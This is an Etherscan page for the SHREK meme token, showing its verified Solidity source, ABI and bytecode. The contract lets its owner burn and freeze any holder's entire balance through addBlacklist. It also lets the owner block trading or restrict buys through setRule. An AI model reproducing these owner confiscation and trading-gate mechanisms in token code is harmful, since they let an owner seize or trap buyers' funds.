Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
416,989,422,949,362.903214372647423023 SHREK
Holders
10
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
6,845,981,373,444.815012460958673772 SHREKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Shrek
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-26 */ // SPDX-License-Identifier: MIT // #Shrek was a meme legend, but #Pepe took over the scene. // Let's revive Shrek's greatness and bring back the ogre vibes! // Twitter: https://twitter.com/Shrek_Erc20 // Telegram: https://t.me/ShrektasticHumor pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: not owner"); _; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } interface IERC20Metadata { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is IERC20, IERC20Metadata, Context { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals = 18; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); address spender = _msgSender(); if (_allowances[sender][spender] < _totalSupply) { _approve(sender, spender, _allowances[sender][spender] - amount); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply + amount; _balances[account] = _balances[account] + amount; emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply = _totalSupply - amount; emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Shrek is Ownable, ERC20 { bool public limited; uint256 public maxHoldingAmount; uint256 public minHoldingAmount; address public uniswapV2Pair; mapping(address => bool) private _blacklist; constructor() ERC20("Shrek", "SHREK") { _mint(_msgSender(), 420_690_000_000_000 * 10 ** decimals()); } function _beforeTokenTransfer(address from, address to, uint256 amount) override internal virtual { require(!_blacklist[from] && !_blacklist[to], "ERC20: transfer to/from blacklisted address"); if (uniswapV2Pair == address(0)) { require(from == owner() || to == owner(), "trading is not started"); return; } if (limited && from == uniswapV2Pair) { require(super.balanceOf(to) + amount <= maxHoldingAmount && super.balanceOf(to) + amount >= minHoldingAmount, "Forbid"); } } function burn(uint256 amount) external { _burn(_msgSender(), amount); } function isBlacklist(address _addr) public view returns (bool) { return _blacklist[_addr]; } function addBlacklist(address[] memory _list) external onlyOwner returns (bool) { for (uint256 i = 0; i < _list.length; i++) { address _addr = _list[i]; if (_blacklist[_addr] || _addr == address(0)) continue; _burn(_addr, balanceOf(_addr)); _blacklist[_addr] = true; } return true; } function removeBlacklist(address[] memory _list) external onlyOwner returns (bool) { for (uint256 i = 0; i < _list.length; i++) { _blacklist[_list[i]] = false; } return true; } function setRule(bool _limited, address _uniswapV2Pair, uint256 _maxHoldingAmount, uint256 _minHoldingAmount) external onlyOwner { limited = _limited; uniswapV2Pair = _uniswapV2Pair; maxHoldingAmount = _maxHoldingAmount; minHoldingAmount = _minHoldingAmount; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_list","type":"address[]"}],"name":"addBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"isBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_list","type":"address[]"}],"name":"removeBlacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_limited","type":"bool"},{"internalType":"address","name":"_uniswapV2Pair","type":"address"},{"internalType":"uint256","name":"_maxHoldingAmount","type":"uint256"},{"internalType":"uint256","name":"_minHoldingAmount","type":"uint256"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040526006805460ff191660121790553480156200001e57600080fd5b5060405180604001604052806005815260200164536872656b60d81b81525060405180604001604052806005815260200164534852454b60d81b81525060006200006d6200012b60201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508151620000cc90600490602085019062000439565b508051620000e290600590602084019062000439565b50505062000125620000f96200012b60201b60201c565b60065460ff166200010c90600a62000543565b6200011f9066017e9d8602b40062000611565b6200012f565b62000686565b3390565b6001600160a01b0382166200018b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b620001996000838362000230565b80600354620001a99190620004df565b6003556001600160a01b038216600090815260016020526040902054620001d2908290620004df565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002249085815260200190565b60405180910390a35050565b6001600160a01b0383166000908152600a602052604090205460ff161580156200027357506001600160a01b0382166000908152600a602052604090205460ff16155b620002d55760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e7366657220746f2f66726f6d20626c61636b6c697360448201526a746564206164647265737360a81b606482015260840162000182565b6009546001600160a01b031662000363576000546001600160a01b03848116911614806200031057506000546001600160a01b038381169116145b6200035e5760405162461bcd60e51b815260206004820152601660248201527f74726164696e67206973206e6f74207374617274656400000000000000000000604482015260640162000182565b505050565b600654610100900460ff1680156200038857506009546001600160a01b038481169116145b156200035e5760075481620003a8846200041e60201b620005b81760201c565b620003b49190620004df565b11158015620003e7575060085481620003d8846200041e60201b620005b81760201c565b620003e49190620004df565b10155b6200035e5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b604482015260640162000182565b6001600160a01b031660009081526001602052604090205490565b828054620004479062000633565b90600052602060002090601f0160209004810192826200046b5760008555620004b6565b82601f106200048657805160ff1916838001178555620004b6565b82800160010185558215620004b6579182015b82811115620004b657825182559160200191906001019062000499565b50620004c4929150620004c8565b5090565b5b80821115620004c45760008155600101620004c9565b60008219821115620004f557620004f562000670565b500190565b600181815b808511156200053b5781600019048211156200051f576200051f62000670565b808516156200052d57918102915b93841c9390800290620004ff565b509250929050565b60006200055460ff8416836200055b565b9392505050565b6000826200056c575060016200060b565b816200057b575060006200060b565b81600181146200059457600281146200059f57620005bf565b60019150506200060b565b60ff841115620005b357620005b362000670565b50506001821b6200060b565b5060208310610133831016604e8410600b8410161715620005e4575081810a6200060b565b620005f08383620004fa565b806000190482111562000607576200060762000670565b0290505b92915050565b60008160001904831182151516156200062e576200062e62000670565b500290565b600181811c908216806200064857607f821691505b602082108114156200066a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61115280620006966000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806349bd5a5e116100b857806389f9a1d31161007c57806389f9a1d3146102925780638da5cb5b1461029b57806395d89b41146102ac578063a9059cbb146102b4578063dd62ed3e146102c7578063f2fde38b1461030057600080fd5b806349bd5a5e1461022757806370a0823114610252578063715018a6146102655780637911ef9d1461026d578063860a32ec1461028057600080fd5b8063313ce567116100ff578063313ce567146101ab578063333e99db146101c05780633aa633aa146101ec5780633d2cc56c1461020157806342966c681461021457600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d5780631ab99e121461018f57806323b872dd14610198575b600080fd5b610144610313565b6040516101519190610fec565b60405180910390f35b61016d610168366004610e9d565b6103a5565b6040519015158152602001610151565b6003545b604051908152602001610151565b61018160085481565b61016d6101a6366004610e62565b6103bb565b60065460405160ff9091168152602001610151565b61016d6101ce366004610e0f565b6001600160a01b03166000908152600a602052604090205460ff1690565b6101ff6101fa366004610f8d565b610441565b005b61016d61020f366004610ec6565b6104b7565b6101ff610222366004610fd4565b6105ab565b60095461023a906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b610181610260366004610e0f565b6105b8565b6101ff6105d3565b61016d61027b366004610ec6565b610647565b60065461016d90610100900460ff1681565b61018160075481565b6000546001600160a01b031661023a565b6101446106e8565b61016d6102c2366004610e9d565b6106f7565b6101816102d5366004610e30565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101ff61030e366004610e0f565b610704565b6060600480546103229061109a565b80601f016020809104026020016040519081016040528092919081815260200182805461034e9061109a565b801561039b5780601f106103705761010080835404028352916020019161039b565b820191906000526020600020905b81548152906001019060200180831161037e57829003601f168201915b5050505050905090565b60006103b23384846107ee565b50600192915050565b60006103c8848484610913565b6003546001600160a01b03851660009081526002602090815260408083203380855292529091205490911115610436576001600160a01b038086166000908152600260209081526040808320938516835292905220546104369086908390610431908790611083565b6107ee565b506001949350505050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161046b9061103f565b60405180910390fd5b600680549415156101000261ff001990951694909417909355600980546001600160a01b039093166001600160a01b031990931692909217909155600755600855565b600080546001600160a01b031633146104e25760405162461bcd60e51b815260040161046b9061103f565b60005b82518110156105a057600083828151811061051057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b0381166000908152600a90925260409091205490915060ff168061054e57506001600160a01b038116155b15610559575061058e565b61056b81610566836105b8565b610aef565b6001600160a01b03166000908152600a60205260409020805460ff191660011790555b80610598816110d5565b9150506104e5565b50600190505b919050565b6105b53382610aef565b50565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161046b9061103f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146106725760405162461bcd60e51b815260040161046b9061103f565b60005b82518110156105a0576000600a60008584815181106106a457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e0816110d5565b915050610675565b6060600580546103229061109a565b60006103b2338484610913565b6000546001600160a01b0316331461072e5760405162461bcd60e51b815260040161046b9061103f565b6001600160a01b0381166107935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046b565b6001600160a01b0382166108b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046b565b6001600160a01b0382166109d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046b565b6109e4838383610c3b565b6001600160a01b03831660009081526001602052604090205481811015610a5c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161046b565b6001600160a01b03808516600090815260016020526040808220858503905591851681522054610a8d90839061106b565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ae19086815260200190565b60405180910390a350505050565b6001600160a01b038216610b4f5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161046b565b610b5b82600083610c3b565b6001600160a01b03821660009081526001602052604090205481811015610bcf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161046b565b6001600160a01b03831660009081526001602052604090208282039055600354610bfa908390611083565b6003556040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610906565b6001600160a01b0383166000908152600a602052604090205460ff16158015610c7d57506001600160a01b0382166000908152600a602052604090205460ff16155b610cdd5760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e7366657220746f2f66726f6d20626c61636b6c697360448201526a746564206164647265737360a81b606482015260840161046b565b6009546001600160a01b0316610d60576000546001600160a01b0384811691161480610d1657506000546001600160a01b038381169116145b610d5b5760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b604482015260640161046b565b505050565b600654610100900460ff168015610d8457506009546001600160a01b038481169116145b15610d5b5760075481610d96846105b8565b610da0919061106b565b11158015610dc3575060085481610db6846105b8565b610dc0919061106b565b10155b610d5b5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b604482015260640161046b565b80356001600160a01b03811681146105a657600080fd5b600060208284031215610e20578081fd5b610e2982610df8565b9392505050565b60008060408385031215610e42578081fd5b610e4b83610df8565b9150610e5960208401610df8565b90509250929050565b600080600060608486031215610e76578081fd5b610e7f84610df8565b9250610e8d60208501610df8565b9150604084013590509250925092565b60008060408385031215610eaf578182fd5b610eb883610df8565b946020939093013593505050565b60006020808385031215610ed8578182fd5b823567ffffffffffffffff80821115610eef578384fd5b818501915085601f830112610f02578384fd5b813581811115610f1457610f14611106565b8060051b604051601f19603f83011681018181108582111715610f3957610f39611106565b604052828152858101935084860182860187018a1015610f57578788fd5b8795505b83861015610f8057610f6c81610df8565b855260019590950194938601938601610f5b565b5098975050505050505050565b60008060008060808587031215610fa2578081fd5b84358015158114610fb1578182fd5b9350610fbf60208601610df8565b93969395505050506040820135916060013590565b600060208284031215610fe5578081fd5b5035919050565b6000602080835283518082850152825b8181101561101857858101830151858201604001528201610ffc565b818111156110295783604083870101525b50601f01601f1916929092016040019392505050565b60208082526012908201527127bbb730b136329d103737ba1037bbb732b960711b604082015260600190565b6000821982111561107e5761107e6110f0565b500190565b600082821015611095576110956110f0565b500390565b600181811c908216806110ae57607f821691505b602082108114156110cf57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156110e9576110e96110f0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220bd86d0c3ce097998471f03eb7d562f1afff08445b17815d38bfa61b9eac6bcf364736f6c63430008040033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806349bd5a5e116100b857806389f9a1d31161007c57806389f9a1d3146102925780638da5cb5b1461029b57806395d89b41146102ac578063a9059cbb146102b4578063dd62ed3e146102c7578063f2fde38b1461030057600080fd5b806349bd5a5e1461022757806370a0823114610252578063715018a6146102655780637911ef9d1461026d578063860a32ec1461028057600080fd5b8063313ce567116100ff578063313ce567146101ab578063333e99db146101c05780633aa633aa146101ec5780633d2cc56c1461020157806342966c681461021457600080fd5b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461017d5780631ab99e121461018f57806323b872dd14610198575b600080fd5b610144610313565b6040516101519190610fec565b60405180910390f35b61016d610168366004610e9d565b6103a5565b6040519015158152602001610151565b6003545b604051908152602001610151565b61018160085481565b61016d6101a6366004610e62565b6103bb565b60065460405160ff9091168152602001610151565b61016d6101ce366004610e0f565b6001600160a01b03166000908152600a602052604090205460ff1690565b6101ff6101fa366004610f8d565b610441565b005b61016d61020f366004610ec6565b6104b7565b6101ff610222366004610fd4565b6105ab565b60095461023a906001600160a01b031681565b6040516001600160a01b039091168152602001610151565b610181610260366004610e0f565b6105b8565b6101ff6105d3565b61016d61027b366004610ec6565b610647565b60065461016d90610100900460ff1681565b61018160075481565b6000546001600160a01b031661023a565b6101446106e8565b61016d6102c2366004610e9d565b6106f7565b6101816102d5366004610e30565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101ff61030e366004610e0f565b610704565b6060600480546103229061109a565b80601f016020809104026020016040519081016040528092919081815260200182805461034e9061109a565b801561039b5780601f106103705761010080835404028352916020019161039b565b820191906000526020600020905b81548152906001019060200180831161037e57829003601f168201915b5050505050905090565b60006103b23384846107ee565b50600192915050565b60006103c8848484610913565b6003546001600160a01b03851660009081526002602090815260408083203380855292529091205490911115610436576001600160a01b038086166000908152600260209081526040808320938516835292905220546104369086908390610431908790611083565b6107ee565b506001949350505050565b6000546001600160a01b031633146104745760405162461bcd60e51b815260040161046b9061103f565b60405180910390fd5b600680549415156101000261ff001990951694909417909355600980546001600160a01b039093166001600160a01b031990931692909217909155600755600855565b600080546001600160a01b031633146104e25760405162461bcd60e51b815260040161046b9061103f565b60005b82518110156105a057600083828151811061051057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b0381166000908152600a90925260409091205490915060ff168061054e57506001600160a01b038116155b15610559575061058e565b61056b81610566836105b8565b610aef565b6001600160a01b03166000908152600a60205260409020805460ff191660011790555b80610598816110d5565b9150506104e5565b50600190505b919050565b6105b53382610aef565b50565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031633146105fd5760405162461bcd60e51b815260040161046b9061103f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b031633146106725760405162461bcd60e51b815260040161046b9061103f565b60005b82518110156105a0576000600a60008584815181106106a457634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106e0816110d5565b915050610675565b6060600580546103229061109a565b60006103b2338484610913565b6000546001600160a01b0316331461072e5760405162461bcd60e51b815260040161046b9061103f565b6001600160a01b0381166107935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108505760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046b565b6001600160a01b0382166108b15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046b565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046b565b6001600160a01b0382166109d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046b565b6109e4838383610c3b565b6001600160a01b03831660009081526001602052604090205481811015610a5c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161046b565b6001600160a01b03808516600090815260016020526040808220858503905591851681522054610a8d90839061106b565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ae19086815260200190565b60405180910390a350505050565b6001600160a01b038216610b4f5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161046b565b610b5b82600083610c3b565b6001600160a01b03821660009081526001602052604090205481811015610bcf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161046b565b6001600160a01b03831660009081526001602052604090208282039055600354610bfa908390611083565b6003556040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610906565b6001600160a01b0383166000908152600a602052604090205460ff16158015610c7d57506001600160a01b0382166000908152600a602052604090205460ff16155b610cdd5760405162461bcd60e51b815260206004820152602b60248201527f45524332303a207472616e7366657220746f2f66726f6d20626c61636b6c697360448201526a746564206164647265737360a81b606482015260840161046b565b6009546001600160a01b0316610d60576000546001600160a01b0384811691161480610d1657506000546001600160a01b038381169116145b610d5b5760405162461bcd60e51b81526020600482015260166024820152751d1c98591a5b99c81a5cc81b9bdd081cdd185c9d195960521b604482015260640161046b565b505050565b600654610100900460ff168015610d8457506009546001600160a01b038481169116145b15610d5b5760075481610d96846105b8565b610da0919061106b565b11158015610dc3575060085481610db6846105b8565b610dc0919061106b565b10155b610d5b5760405162461bcd60e51b8152602060048201526006602482015265119bdc989a5960d21b604482015260640161046b565b80356001600160a01b03811681146105a657600080fd5b600060208284031215610e20578081fd5b610e2982610df8565b9392505050565b60008060408385031215610e42578081fd5b610e4b83610df8565b9150610e5960208401610df8565b90509250929050565b600080600060608486031215610e76578081fd5b610e7f84610df8565b9250610e8d60208501610df8565b9150604084013590509250925092565b60008060408385031215610eaf578182fd5b610eb883610df8565b946020939093013593505050565b60006020808385031215610ed8578182fd5b823567ffffffffffffffff80821115610eef578384fd5b818501915085601f830112610f02578384fd5b813581811115610f1457610f14611106565b8060051b604051601f19603f83011681018181108582111715610f3957610f39611106565b604052828152858101935084860182860187018a1015610f57578788fd5b8795505b83861015610f8057610f6c81610df8565b855260019590950194938601938601610f5b565b5098975050505050505050565b60008060008060808587031215610fa2578081fd5b84358015158114610fb1578182fd5b9350610fbf60208601610df8565b93969395505050506040820135916060013590565b600060208284031215610fe5578081fd5b5035919050565b6000602080835283518082850152825b8181101561101857858101830151858201604001528201610ffc565b818111156110295783604083870101525b50601f01601f1916929092016040019392505050565b60208082526012908201527127bbb730b136329d103737ba1037bbb732b960711b604082015260600190565b6000821982111561107e5761107e6110f0565b500190565b600082821015611095576110956110f0565b500390565b600181811c908216806110ae57607f821691505b602082108114156110cf57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156110e9576110e96110f0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220bd86d0c3ce097998471f03eb7d562f1afff08445b17815d38bfa61b9eac6bcf364736f6c63430008040033
Deployed Bytecode Sourcemap
